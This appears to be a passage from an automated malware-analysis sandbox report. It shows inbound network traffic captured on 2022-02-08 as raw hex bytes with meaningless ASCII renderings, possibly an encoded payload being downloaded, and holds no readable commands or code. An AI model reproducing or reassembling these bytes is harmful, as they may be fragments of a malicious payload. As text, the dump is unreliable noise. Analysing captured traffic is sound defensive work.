d7 6e 36 23 7e 9e 0a 1f 71 1d 9c 94 31 32 7f 1f 79 1b f4 
Data Ascii: ~3w-spsM?bhswK;h{#Qm.\Am($%ex1OXsWuZxs_s;x{cQmnLYAmh$-ciai[CBYJDr&p;9Eq-e1nE<\yo~Iq-1 <y
Fhf}Ag:4N#In6#~q12y

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 639 IN Data Raw: 61 13 c2 54 61 13 54 e2 62 13 54 e2 62 13 28 54 61 13 28 54 61 13 40 e2 62 13 40 e2 62 13 14 54 61 13 14 
54 61 13 52 e2 62 13 52 e2 62 13 6a 54 61 13 6a 54 61 13 4e e2 62 13 4e e2 62 13 5c 54 61 13 5c 54 61 13 5e e2 62 13 
5e e2 62 13 f0 48 61 13 f0 48 61 13 5e e7 62 13 5e e7 62 13 fe 4d 61 13 fe 4d 61 13 7c fe 62 13 7c fe 62 13 ee 4d 61 13 
ee 4d 61 13 4c fe 62 13 4c fe 62 13 f4 4d 61 13 f4 4d 61 13 3e fe 62 13 3e fe 62 13 e2 4d 61 13 e2 4d 61 13 10 fe 62 13 
10 fe 62 13 12 4a 61 13 12 4a 61 13 0a fe 62 13 0a fe 62 13 26 4a 61 13 26 4a 61 13 6e fe 62 13 6e fe 62 13 0e 4a 61 13 
0e 4a 61 13 76 fe 62 13 76 fe 62 13 d6 4a 61 13 d6 4a 61 13 6e fe 62 13 6e fe 62 13 a2 4a 61 13 a2 4a 61 13 44 fe 62 13 
44 fe 62 13 be 4a 61 13 be 4a 61 13 a8 ff 62 13 a8 ff 62 13 9c 
Data Ascii: aTaTbTb(Ta(Ta@b@bTaTaRbRbjTajTaNbNb\Ta\Ta^b^bHaHa^b^bMaMa|b|bMaMaLbLbMaMa>b>bM
aMabbJaJabb&Ja&JanbnbJaJavbvbJaJanbnbJaJaDbDbJaJabb

2022-02-08 23:07:11 UTC 641 IN Data Raw: 9d 1c 1e a6 82 e6 52 e3 2a d7 25 7d df cc 34 2b 36 4b d6 9b 24 97 76 1b 3e b9 bb 4f 03 df 51 8e 2f 28 f2 d8 
9d 3b 4f 86 c8 8c 29 f3 2f 80 f3 a5 55 8c 34 cd 3e bb 50 a9 ce 27 a8 33 67 5a 97 05 dd 00 dd 7f 46 e7 23 96 fc 4e 9c dc 
51 e8 f3 f4 37 59 29 95 53 ad ca 18 53 9a 6f 3e d7 58 29 b3 ba 73 3d f1 79 ff a1 6c 76 cf a2 ac 2f a0 d4 46 76 68 5e 83 97 
a2 0d 47 60 eb ab 0d 09 6e ea 8f bd 9d 8a d5 14 ac 48 fa 86 df 1d fe 34 bf 67 2c 9c 21 d3 e8 06 ce 09 20 c2 0f 18 54 28 
9e b7 e3 cd 51 26 1b 10 ab af 50 13 f7 1d dd a1 dd a3 f3 66 10 00 be fc 4a 2f 38 e5 67 9b d6 ee 7e 5b 68 58 38 97 ce de 
09 e2 39 f6 55 af 41 fe 13 6f d8 2e 08 35 40 ee 55 d6 14 00 84 86 79 c5 ef 83 ea 00 5e 8c bd dd 9f e0 fa 97 d1 8e 9a 00 
07 d1 eb 03 eb 13 39 42 60 4c 03 bd b1 53 de 39 34 a6 
Data Ascii: R*%}4+6K$v>OQ/(;O)/U4>P'3gZF#NQ7Y)SSo>X)s=ylv/Fvh^G`nH4g,! T(Q&PfJ/8g~[hX89UAo.5@Uy^9B`L
S94

2022-02-08 23:07:11 UTC 643 IN Data Raw: ef c6 09 61 17 9e 17 81 63 07 94 5a 67 39 c3 21 37 ea f6 c1 14 db d7 50 42 3e 42 66 1f 8f af 14 77 a1 d5 4a 
a3 47 fc 70 72 36 d8 a8 f0 8b 3d 82 5c af 15 68 45 db a0 50 da e2 e2 ff 13 0e 17 33 37 37 9a 39 d9 41 9f cd 77 85 72 db 
8c f6 29 95 e5 fb 19 d5 f2 0c 6e 51 9e d7 f2 78 d4 49 e6 b8 59 d9 7b 7f 69 ec 4e 90 2d 46 f7 00 ae c2 36 4a 96 7a a9 f2 
94 ad ab 72 f3 b4 7b 40 8c 37 07 b5 9e 1f c3 40 89 1a ee 88 46 46 3c 41 99 63 23 37 f1 08 b8 7a 61 45 d3 95 e1 45 1b 7e 
16 31 64 11 1f 94 1b 5b 2a f4 ab d0 3a 01 01 9b 30 e4 7d 31 41 3d 46 c0 8c ca 76 6c e5 aa 1c fe 5d fa 6f 8e 74 cd b4 76 
db 49 6b 3d 15 7f 28 ec a6 c8 35 b0 cb c9 4f e8 53 a5 10 05 48 45 0a 26 f1 f1 53 f6 ff f0 3b 3f 40 03 70 80 10 6e f8 8a ae 
b0 2f 9f 34 2f a9 09 12 0c 75 b9 5d 2e 88 10 3a a7 5c 
Data Ascii: acZg9!7PB>BfwJGpr6=\hEP3779Awr)nQxIY{iN-F6Jzr{@7@FF<Ac#7zaEE~1d[*:0}1A=Fvl]otvIk=(5OSHE&S;?
@pn/4/u].:\

2022-02-08 23:07:11 UTC 645 IN Data Raw: 8c 3d 20 85 8c 3d 20 85 8c 3d 20 85 8c 3d 72 85 ba 3d 42 85 8a 3d 7b 85 87 3d 71 85 aa 3d 51 85 c4 3d 3e 
85 b0 3d 1e 85 d5 3d 70 85 ba 3d 05 85 dd 3d 6d 85 fd 3d 1e 85 8d 3d 7f 85 ee 3d 1a 85 ce 3d 7c 85 a1 3d 0e 85 81 3d 
6b 85 ef 3d 1d 85 86 3d 6f 85 e9 3d 01 85 84 3d 64 85 ea 3d 10 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 48 85 d1 3
d 78 85 e0 3d 48 85 ed 3d 42 85 c0 3d 62 85 a1 3d 00 85 ce 3d 72 85 ba 3d 5a 85 93 3d 7a 85 fb 3d 1b 85 88 3d 3b 85 ea 
3d 5e 85 8f 3d 30 85 af 3d 53 85 ce 3d 3f 85 a2 3d 5a 85 c6 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 05 85 fa 
3d 35 85 cb 3d 03 85 c6 3d 09 85 eb 3d 29 85 85 3d 46 85 f1 3d 66 85 94 3d 08 85 fb 3d 7d 85 9c 3d 15 85 bc 3d 66 85 
cc 3d 07 85 af 3d 62 85 8f 3d 04 85 e0 3d 76 85 c0 3d 02 85 a8 3d 70 
Data Ascii: = = = =r=B={=q=Q=>==p==m====|==k==o==d=====H=x=H=B=b==r=Z=z==;=^=0=S=?=Z=W=W=W
=W==5===)=F=f==}==f==b==v==p

2022-02-08 23:07:11 UTC 647 IN Data Raw: 84 3d 26 85 e1 3d 54 85 93 3d 3b 85 e1 3d 36 85 eb 3d 36 85 eb 3d 65 85 a2 3d 2b 85 e5 3d 0b 85 80 3d 79 
85 f2 3d 16 85 80 3d 1b 85 8a 3d 1b 85 8a 3d 1b 85 8a 3d 4f 85 c6 3d 00 85 95 3d 53 85 b5 3d 36 85 c7 3d 44 85 a8 3d 
36 85 a5 3d 3c 85 a5 3d 31 85 af 3d 31 85 af 3d 31 85 af 3d 43 85 da 3d 2d 85 ae 3d 44 85 c3 3d 21 85 e3 3d 44 85 91 3d 
36 85 fe 3d 44 85 de 3d 44 85 de 3d 16 85 ab 3d 78 85 df 3d 11 85 b2 3d 74 85 92 3d 31 85 e0 3d 43 85 8f 3d 31 85 ae 3
d 3b 85 a4 3d 6b 85 d6 3d 04 85 b1 3d 76 85 d0 3d 1b 85 ea 3d 3b 85 ea 3d 3b 85 ea 3d 07 85 9a 3d 75 85 f5 3d 12 85 
87 3d 73 85 ea 3d 53 85 84 3d 32 85 e9 3d 57 85 c9 3d 22 85 a7 3d 49 85 c9 3d 26 85 be 3d 48 85 80 3d 48 85 80 3d 66 
85 ae 3d 48 85 ae 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 0f 
Data Ascii: =&=T=;=6=6=e=+==y=====O==S=6=D=6=<=1=1=1=C=-=D=!=D=6=D=D==x==t=1=C=1=;=k==v==;
=;==u==s=S=2=W="=I=&=H=H=f=H=B=B=B=B=

2022-02-08 23:07:11 UTC 649 IN Data Raw: 1b 7d 04 19 7e 0f 04 19 7e 0f 04 19 7e 0f 40 7c 1d 6a 2d 1e 78 18 2d 1e 78 18 6c 53 78 18 3c 1e 78 18 3c 1e 
78 18 71 53 57 7c 15 7c 2e 05 15 7c 2e 05 15 7c 2e 05 71 18 4a 61 5d 38 07 2c 10 75 27 48 74 59 07 31 0d 20 7e 31 0d 
20 7e 31 45 68 44 5c 28 52 37 2f 28 52 37 2f 28 52 37 2f 7b 52 42 2f 15 52 42 2f 58 52 2d 2f 36 52 2d 2f 62 52 58 2f 07 52 
58 2f 50 52 3d 2f 34 52 3d 2f 60 52 55 2f 15 52 55 2f 53 52 27 2f 3a 52 27 2f 69 52 46 2f 1d 52 46 2f 4e 52 33 2f 20 52 57 
2f 41 52 2e 2f 41 52 2e 2f 0c 52 41 2f 62 52 25 2f 03 52 5c 2f 03 52 5c 2f 57 52 29 2f 32 52 5a 2f 56 52 3b 2f 2f 52 3b 2f 
78 52 5e 2f 1c 52 30 2f 79 52 43 2f 1d 52 22 2f 64 52 22 2f 64 52 22 2f 30 52 4a 2f 45 52 38 2f 36 52 5c 2f 57 52 25 2f 57 
52 25 2f 57 52 25 2f 11 52 57 2f 78 52 33 2f 19 
Data Ascii: }~~~@|j-x-xlSx<x<xqSW||.|.|.qJa]8,u'HtY1 ~1 ~1EhD\(R7/(R7/(R7/{RB/RB/XR-/6R-/bRX/RX/PR=/4R=/`RU/RU
/SR'/:R'/iRF/RF/NR3/ RW/AR./AR./RA/bR%/R\/R\/WR)/2RZ/VR;//R;/xR^/R0/yRC/R"/dR"/dR"/0RJ/ER8/6R\/WR%/W
R%/WR%/RW/xR3/

2022-02-08 23:07:11 UTC 653 IN Data Raw: 5d 2f 21 52 5d 2f 55 52 3c 2f 78 52 75 2f 36 52 75 2f 36 52 75 2f 42 52 10 2f 6f 52 59 2f 21 52 59 2f 21 52 59 2f 
4a 52 37 2f 67 52 7e 2f 29 52 7e 2f 29 52 7e 2f 44 52 12 2f 69 52 5b 2f 27 52 5b 2f 27 52 5b 2f 4a 52 29 2f 67 52 60 2f 29 
52 60 2f 29 52 60 2f 5a 52 01 2f 77 52 48 2f 39 52 48 2f 39 52 48 2f 54 52 26 2f 79 52 6b 2f 37 52 6b 2f 37 52 6b 2f 54 52 
12 2f 79 52 55 2f 3b 52 55 2f 3b 52 55 2f 5c 52 39 2f 71 52 7c 2f 22 52 7c 2f 22 52 7c 2f 49 52 13 2f 22 52 3e 2f 6b 52 70 
2f 6b 52 70 2f 18 52 09 2f 6a 52 24 2f 39 52 7d 2f 39 52 7d 2f 5d 52 14 2f 2b 52 39 2f 66 52 6f 2f 66 52 6f 2f 17 52 1a 2f 6d 
52 37 2f 2f 52 78 2f 2f 52 78 2f 41 52 0b 2f 6c 52 51 2f 2d 52 51 2f 2d 52 51 2f 40 52 38 2f 6d 52 76 2f 37 52 76 2f 37 52 
76 2f 56 52 04 2f 7b 52 4d 2f 2a 
Data Ascii: ]/!R]/UR</xRu/6Ru/6Ru/BR/oRY/!RY/!RY/JR7/gR~/)R~/)R~/DR/iR[/'R[/'R[/JR)/gR`/)R`/)R`/ZR/wRH/9RH/9RH
/TR&/yRk/7Rk/7Rk/TR/yRU/;RU/;RU/\R9/qR|/"R|/"R|/IR/"R>/kRp/kRp/R/jR$/9R}/9R}/]R/+R9/fRo/fRo/R/mR7//Rx//Rx/AR/l
RQ/-RQ/-RQ/@R8/mRv/7Rv/7Rv/VR/{RM/*

2022-02-08 23:07:11 UTC 695 IN Data Raw: 5d 2f 58 4d 5d 2f 59 4d 5d 2f 59 4d 5d 2f a9 5a 5e af a8 5a 5e af ec 5a 5e af ec 5a 5e af ec 42 5d 2f ed 42 5d 
2f 90 42 5d 2f 90 42 5d 2f 80 5a 5e af 81 5a 5e af 36 5a 5e af 36 5a 5e af 32 7b 5d 2f 33 7b 5d 2f 31 7b 5d 2f 31 7b 5d 2f 
19 63 5e af 18 63 5e af 5d 63 5e af 5d 63 5e af 7d 42 5d 2f 7c 42 5d 2f 78 42 5d 2f 78 42 5d 2f 40 5a 5e af 41 5a 5e af 06 
5a 5e af 06 5a 5e af 4e 42 5d 2f 4f 42 5d 2f c8 42 5d 2f c8 42 5d 2f e0 63 5e af e1 63 5e af e4 63 5e af e4 63 5e af bc 7b 
5d 2f bd 7b 5d 2f f5 7b 5d 2f f5 7b 5d 2f c5 5a 5e af c4 5a 5e af c2 5a 5e af c2 5a 5e af aa 42 5d 2f ab 42 5d 2f 09 42 5d 2f 
09 42 5d 2f 71 5a 5e af 70 5a 5e af e1 5a 5e af e1 5a 5e af 69 42 5d 2f 68 42 5d 2f 21 42 5d 2f 21 42 5d 2f b9 5a 5e af b8 
5a 5e af 0b 5a 5e af 0b 5a 5e af a3 
Data Ascii: ]/XM]/YM]/YM]/Z^Z^Z^Z^B]/B]/B]/B]/Z^Z^6Z^6Z^2{]/3{]/1{]/1{]/c^c^]c^]c^}B]/|B]/xB]/xB]/@Z^AZ^Z^Z^NB
]/OB]/B]/B]/c^c^c^c^{]/{]/{]/{]/Z^Z^Z^Z^B]/B]/B]/B]/qZ^pZ^Z^Z^iB]/hB]/!B]/!B]/Z^Z^Z^Z^

2022-02-08 23:07:11 UTC 709 IN Data Raw: 5d 2f 28 58 5d 2f bf 58 5d 2f bf 58 5d 2f 27 79 5e af 26 79 5e af 35 79 5e af 35 79 5e af ad 64 5d 2f ac 64 5d 2f 
21 64 5d 2f 21 64 5d 2f 91 8b 5f af 90 8b 5f af a6 8b 5f af a6 8b 5f af 0e 96 5c 2f 0f 96 5c 2f 71 96 5c 2f 71 96 5c 2f d1 b7 
5f af d0 b7 5f af c4 b7 5f af c4 b7 5f af 7c aa 5c 2f 7d aa 5c 2f 2b aa 5c 2f 2b aa 5c 2f 83 8b 5f af 82 8b 5f af 97 8b 5f af 97 
8b 5f af 5f 96 5c 2f 5e 96 5c 2f 09 96 5c 2f 09 96 5c 2f d1 8b 5f af d0 8b 5f af 48 8b 5f af 48 8b 5f af a0 96 5c 2f a1 96 5c 2f 
2d 96 5c 2f 2d 96 5c 2f d5 8b 5f af d4 8b 5f af 4b 8b 5f af 4b 8b 5f af 43 95 5c 2f 42 95 5c 2f ea 95 5c 2f ea 95 5c 2f 5a b4 
5f af 5b b4 5f af 4d b4 5f af 4d b4 5f af 55 aa 5c 2f 54 aa 5c 2f 0c aa 5c 2f 0c aa 5c 2f b4 8b 5f af b5 8b 5f af a2 8b 5f af a2 
8b 5f af 8a 
Data Ascii: ]/(X]/X]/X]/'y^&y^5y^5y^d]/d]/!d]/!d]/____\/\/q\/q\/____|\/}\/+\/+\/_____\/^\/\/\/__H_H_\/\/-\/-\/__K_K_C\/B\/\/\/Z_[_
M_M_U\/T\/\/\/____

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 711 IN Data Raw: 5f af 87 81 5f af 2f 6e 5d 2f 2e 6e 5d 2f 68 6e 5d 2f 68 6e 5d 2f d8 81 5f af d9 81 5f af 9e 81 5f af 9e 81 5f af 26 
6e 5d 2f 27 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f ae 81 5f af af 81 5f af e5 81 5f af e5 81 5f af 2d 6e 5d 2f 2c 6e 5d 2f 67 6e 5d 
2f 67 6e 5d 2f b7 81 5f af b6 81 5f af f8 81 5f af f8 81 5f af 20 6e 5d 2f 21 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f 8e 81 5f af 8f 81 
5f af df 81 5f af df 81 5f af 37 6e 5d 2f 36 6e 5d 2f 60 6e 5d 2f 60 6e 5d 2f 90 81 5f af 91 81 5f af c6 81 5f af c6 81 5f af 3e 
6e 5d 2f 3f 6e 5d 2f 65 6e 5d 2f 65 6e 5d 2f 65 9e 5f af 64 9e 5f af 01 9e 5f af 01 9e 5f af 09 6e 5d 2f 08 6e 5d 2f 77 6e 5d 
2f 77 6e 5d 2f 67 9e 5f af 66 9e 5f af 67 9a 5f af 67 9a 5f af 7f 6a 5d 2f 7e 6a 5d 2f 7c 6e 5d 2f 7c 6e 5d 2f 54 9e 5f af 55 
9e 5f af 56 
Data Ascii: __/n]/.n]/hn]/hn]/____&n]/'n]/nn]/nn]/____-n]/,n]/gn]/gn]/____ n]/!n]/nn]/nn]/____7n]/6n]/`n]/`n]/____>n]/?n
]/en]/en]/e_d___n]/n]/wn]/wn]/g_f_g_g_j]/~j]/|n]/|n]/T_U_V

2022-02-08 23:07:11 UTC 713 IN Data Raw: 5f af f3 94 5f af eb 63 5d 2f ea 63 5d 2f e6 77 5d 2f e6 77 5d 2f ce 80 5f af cf 80 5f af d5 94 5f af d5 94 5f af ed 
63 5d 2f ec 63 5d 2f d7 77 5d 2f d7 77 5d 2f 87 80 5f af 86 80 5f af 87 98 5f af 87 98 5f af e7 6f 5d 2f e6 6f 5d 2f ef 77 5d 2f 
ef 77 5d 2f 9f 80 5f af 9e 80 5f af 94 98 5f af 94 98 5f af 14 6f 5d 2f 15 6f 5d 2f 19 77 5d 2f 19 77 5d 2f 89 80 5f af 88 80 5f 
af 92 98 5f af 92 98 5f af 32 6f 5d 2f 33 6f 5d 2f 08 77 5d 2f 08 77 5d 2f b0 80 5f af b1 80 5f af b0 9c 5f af b0 9c 5f af 78 6b 
5d 2f 79 6b 5d 2f 70 77 5d 2f 70 77 5d 2f a8 80 5f af a9 80 5f af a3 9c 5f af a3 9c 5f af 4b 6b 5d 2f 4a 6b 5d 2f 50 77 5d 2f 
50 77 5d 2f a8 80 5f af a9 80 5f af 92 9c 5f af 92 9c 5f af 82 64 5d 2f 83 64 5d 2f 82 44 5d 2f 82 44 5d 2f a2 bc 5f af a3 bc 
5f af aa 
Data Ascii: __c]/c]/w]/w]/____c]/c]/w]/w]/____o]/o]/w]/w]/____o]/o]/w]/w]/____2o]/3o]/w]/w]/____xk]/yk]/pw]/pw]/____Kk]/
Jk]/Pw]/Pw]/____d]/d]/D]/D]/__

2022-02-08 23:07:11 UTC 715 IN Data Raw: 42 2f c4 74 42 2f ac 74 2b 2f 81 74 42 2f ef 74 42 2f ef 74 42 2f 87 74 30 2f aa 74 52 2f cb 74 52 2f cb 74 52 2f 
a3 74 20 2f 8e 74 48 2f fc 74 48 2f fc 74 48 2f 94 74 3d 2f b9 74 55 2f cc 74 55 2f cc 74 55 2f a4 74 2c 2f 89 74 4d 2f e4 74 
4d 2f e4 74 4d 2f 8d 74 29 2f a0 74 40 2f c4 74 40 2f c4 74 40 2f ad 74 33 2f 80 74 5a 2f f3 74 5a 2f f3 74 5a 2f 9a 74 2e 2f 
b7 74 4d 2f df 74 4d 2f df 74 4d 2f b6 74 39 2f 9b 74 50 2f ef 74 50 2f ef 74 50 2f 85 74 31 2f a8 74 5b 2f d8 74 5b 2f d8 74 
5b 2f b3 74 3a 2f 9e 74 5d 2f fb 74 5d 2f fb 74 5d 2f 90 74 36 2f bd 74 5d 2f c7 74 5d 2f c7 74 5d 2f ac 74 33 2f 81 74 5a 2f 
ef 74 5a 2f ef 74 5a 2f 84 74 35 2f ef 74 18 2f 86 74 76 2f 86 74 76 2f ed 74 19 2f c0 74 72 2f b2 74 72 2f b2 74 72 2f d9 74 
0b 2f f4 74 60 2f 93 
Data Ascii: B/tB/t+/tB/tB/tB/t0/tR/tR/tR/t /tH/tH/tH/t=/tU/tU/tU/t,/tM/tM/tM/t)/t@/t@/t@/t3/tZ/tZ/tZ/t./tM/tM/tM/t9/tP/tP/tP/t1/t[
/t[/t[/t:/t]/t]/t]/t6/t]/t]/t]/t3/tZ/tZ/tZ/t5/t/tv/tv/t/tr/tr/tr/t/t`/

2022-02-08 23:07:11 UTC 717 IN Data Raw: 69 2f 94 74 79 2f 84 74 69 2f 94 74 79 2f 84 74 fb 2f 06 74 79 2f 84 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 
04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 eb 2f 16 74 fb 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 
06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 
74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 
db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 
Data Ascii: i/ty/ti/ty/t/ty/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/

2022-02-08 23:07:11 UTC 719 IN Data Raw: ed ff e1 8b 86 29 50 e4 e9 f7 04 21 2c 66 54 11 1c 06 57 10 1d 04 fe 77 7a ca 83 5c 51 9c 9a a2 af 7b f8 75 78 
ce 1e de d3 83 84 a8 a5 6f c1 62 6f e0 5c e0 ed ff 1c 29 24 76 9b 54 59 8c 8e ae a3 63 65 f7 fa d1 ac b0 bd 5f a7 40 4d 
a4 4b ed e0 e5 2c 39 34 56 d1 9b 96 09 3b 34 39 4c 84 a8 a5 6f 73 0c 01 3c e5 7e 73 d8 be be b3 43 7c 09 04 36 60 f4 f9 
d7 ce 67 6a ea a4 41 4c a6 fe 77 7a ca bf 48 45 b4 bd bf b2 41 f2 73 7e c2 ae 47 4a aa 5a e2 ef fb 6e 07 0a 2a 66 f6 fb d3 
f5 87 8a 31 86 5f 52 9a d5 6e 63 f8 ea 7b 76 d2 e6 7f 72 da b4 b8 b5 4f d1 9b 96 09 8f 58 55 94 a7 40 4d a4 06 d6 db 93 
09 d3 de 99 bc 49 44 b6 b5 4e 43 b8 83 5c 51 9c 18 dc d1 87 25 3e 33 58 03 d5 d8 95 6a f2 ff db a7 40 4d a4 38 35 38 4e 
23 3c 31 5c bd bf b2 41 c9 93 9e 19 e7 89 84 2d ca 
Data Ascii: )P!,fTWwz\Q{uxobo\)$vTYce_@MK,94V;49Los<~sC|6`gjALwzHEAs~GJZn*f1_Rnc{vrOXU@MID
NC\Q%>3Xj@M858N#<1\A-

2022-02-08 23:07:11 UTC 721 IN Data Raw: 22 12 08 17 bf 0d a3 4f 45 a1 30 4c a6 ea 65 b6 96 ca 93 db e0 67 02 ad 2c ef 27 e1 2e 1a db 36 cb 55 0c fd 
e1 90 8c b9 d4 b6 03 1a b6 03 4a 40 07 dd 2d 5b bd f8 b5 55 57 bd 54 95 a9 e0 56 e0 86 23 44 10 ca a2 e7 87 8c 2f 21 
7e 5f 44 c6 21 d0 47 53 bd 42 52 b8 c7 2f ed 62 9e 7d 78 4f 1d c3 ac 9c 3c b7 f4 b5 55 57 bd f1 9d 9e 33 9b 14 5c 46 e3 
6d d2 b2 88 53 8a 2b 55 22 33 0c e3 6d d2 b2 f4 c0 5a 42 92 6c 7a 8b 26 56 b4 f6 3e 1c 6b 95 bc 2d 71 70 dc 1e 20 e7 
99 61 73 85 79 16 17 34 fd b8 7c 8f e1 18 fd 71 75 33 f5 88 2d 5b bd f8 34 a6 f8 77 b3 ca 26 e3 04 32 5d b1 27 e1 2e 1a 
c5 e3 65 68 92 6c 7a 8b b8 c7 2f ed bf ef c4 5f bc 2d 71 70 26 56 b4 f6 83 5e 83 25 71 d9 ab 15 c3 7c 14 36 79 16 17 34 
25 94 01 d9 0e 88 ce 53 9c 3c b7 f4 6c ce b0 07 cd 2c d9 49 00 
Data Ascii: "OE0Leg,'.6UJ@-[UWTV#D/!~_D!GSBR/b}xO<UW3\FmS+U"3mZBlz&V>k-qp asy4|qu3-[4w&2]'.ehlz/_-qp
&V^%q|6y4%S<l,I

2022-02-08 23:07:11 UTC 723 IN Data Raw: d5 1e ee 8b 03 a3 81 e4 dd 12 44 21 4c 46 74 11 2c 16 75 10 2e 15 12 77 e0 bc 39 5c b6 c1 c7 a2 51 d8 10 75 
e4 ba bb de a9 5c cd a8 45 c6 07 62 ca 83 85 e0 d5 1e 4c 29 5c 5e 31 54 a6 d9 cb ae 49 cc 92 f7 fb 27 d5 b0 75 ee 25 40 
8e e5 88 ed cf 09 5c 39 7c 6e fe 9b 23 93 51 34 66 79 cd a8 45 c6 69 0c 16 31 1b 7e f2 a7 db be 69 fc 6c 09 1c 3e 91 f4 
fd 22 02 67 c0 8c 24 41 8c e6 12 77 e0 bc 2d 48 9e fd da bf 6b ff 16 73 e8 b0 22 47 80 ec 87 e2 d1 18 62 07 00 2c 93 f6 
f9 24 e2 87 1b b7 3a 5f b0 c4 0b 6e d2 97 1e 7b f8 a8 1a 7f f0 a4 dd b8 65 f6 fe 9b 23 93 3d 58 be cd 25 40 8e e5 b3 d6 
b9 44 b6 d3 b3 4b 2c 49 9c fe 2b 4e 92 f7 39 5c b6 c1 b9 dc ad 5a 5b 3e 72 67 b0 d5 bf 41 97 f2 f1 28 25 40 8e e5 50 35 
64 7a 59 3c 76 61 da bf 6b ff f6 93 33 8b ec 89 07 a5 f7 
Data Ascii: D!LFt,u.w9\Qu\EbL)\^1TI'u%@\9|n#Q4fyEi1~il>"g$Aw-Hks"Gb,$:_n{e#=X%@DK,I+N9\Z[>rgA(%@P5dz
Y<vak3

2022-02-08 23:07:11 UTC 729 IN Data Raw: ed c7 6b 84 86 ac b5 35 e9 c3 24 61 2c 06 44 31 1c 36 46 32 1d 37 88 9b 7a 50 de e6 51 7b 39 ff af 85 8c 9d 
78 52 c1 7b d3 f9 2d e1 a5 8f a2 a4 6f 45 bd 39 ed c7 34 79 24 0e ce fe 59 73 21 eb a3 89 93 00 fa d0 1d c9 bd 97 e6 c2 
4d 67 a7 2e e0 ca 14 49 34 1e 4b b4 96 bc 0e 5e 39 13 2d e1 a5 8f 7e 16 01 2b 9a 80 73 59 01 db b3 99 74 19 04 2e 95 
05 f9 d3 a8 ab 6a 40 e4 c1 4c 66 88 9b 7a 50 f6 da 45 6f 03 d8 b2 98 80 97 7e 54 e8 cb 4a 60 b9 3f ef c5 68 0b 0a 20 91 
03 fb d1 73 90 8a a0 d8 e3 52 78 ba b0 63 49 90 8f 76 5c 98 83 72 58 0d d1 b5 9f 4b b4 96 bc d6 ea 55 7f e6 c2 4d 67 d1 
63 db f1 db 6c de f4 f4 d9 44 6e fa d0 43 69 de e6 51 7b c5 7d d1 fb 1a 40 33 19 d7 66 d8 f2 99 0f ff d5 e6 c2 4d 67 0c 5d 
38 12 1e 46 31 1b 03 d8 b2 98 5b ac 9e b4 6f 82 84 ae 59 
Data Ascii: k5$a,D16F27zPQ{9xR{-oE94y$Ys!Mg.I4K^9-~+sYt.j@LfzPEo~TJ`?h sRxcIv\rXKUMgclDnCiQ{}@3fMg]8F1[oY

2022-02-08 23:07:11 UTC 731 IN Data Raw: 0c 26 64 8b 0c 26 64 e4 0c 26 64 21 0c 26 64 11 0c 26 64 10 0c 26 64 77 0c 26 64 5c 0c 26 64 a2 0c 26 64 75 
0c 26 64 de 0c 26 64 a8 0c 26 64 62 0c 26 64 e0 0c 26 64 29 0c 26 64 54 0c 26 64 ae 0c 26 64 f7 0c 26 64 b0 0c 26 64 
40 0c 26 64 ed 0c 26 64 39 0c 26 64 9b 0c 26 64 34 0c 26 64 a8 0c 26 64 0c 0c 26 64 7e 0c 26 64 be 0c 26 64 09 0c 26 
64 f4 0c 26 64 67 0c 26 64 41 0c 26 64 77 0c 26 64 48 0c 26 64 bf 0c 26 64 73 0c 26 64 47 0c 26 64 e2 0c 26 64 07 0c 26 
64 f6 0c 26 64 87 0c 26 64 5f 0c 26 64 6e 0c 26 64 7b 0c 26 64 7f 0c 26 64 b8 0c 26 64 9b 0c 26 64 58 0c 26 64 40 0c 26 
64 d6 0c 26 64 d3 0c 26 64 49 0c 26 64 4e 0c 26 64 5c 0c 26 64 dc 0c 26 64 3e 0c 26 64 d5 0c 26 64 f2 0c 26 64 40 0c 26 
64 35 0c 26 64 3c 0c 26 64 bf 0c 26 64 93 0c 26 64 89 0c 26 64 
Data Ascii: &d&d&d!&d&d&dw&d\&d&du&d&d&db&d&d)&dT&d&d&d&d@&d&d9&d&d4&d&d&d~&d&d&d&dg&dA&dw
&dH&d&ds&dG&d&d&d&d&d_&dn&d{&d&d&d&dX&d@&d&d&dI&dN&d\&d&d>&d&d&d@&d5&d<&d&d&d&d

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 769 IN Data Raw: 0c c7 64 01 0c ac 64 01 0c c3 64 01 0c 06 64 01 0c 36 64 01 0c 37 64 01 0c 50 64 01 0c 7b 64 01 0c 85 64 01 
0c 52 64 01 0c f9 64 01 0c 8f 64 01 0c 45 64 01 0c c7 64 01 0c 0e 64 01 0c 73 64 01 0c 89 64 01 0c d0 64 01 0c 97 64 01 
0c 67 64 01 0c ca 64 01 0c 1e 64 01 0c bc 64 01 0c 13 64 01 0c 8f 64 01 0c 2b 64 01 0c 59 64 01 0c 99 64 01 0c 2e 64 01 
0c d3 64 01 0c 40 64 01 0c 66 64 01 0c 50 64 01 0c 6f 64 01 0c 98 64 01 0c 54 64 01 0c 60 64 01 0c c5 64 01 0c 20 64 
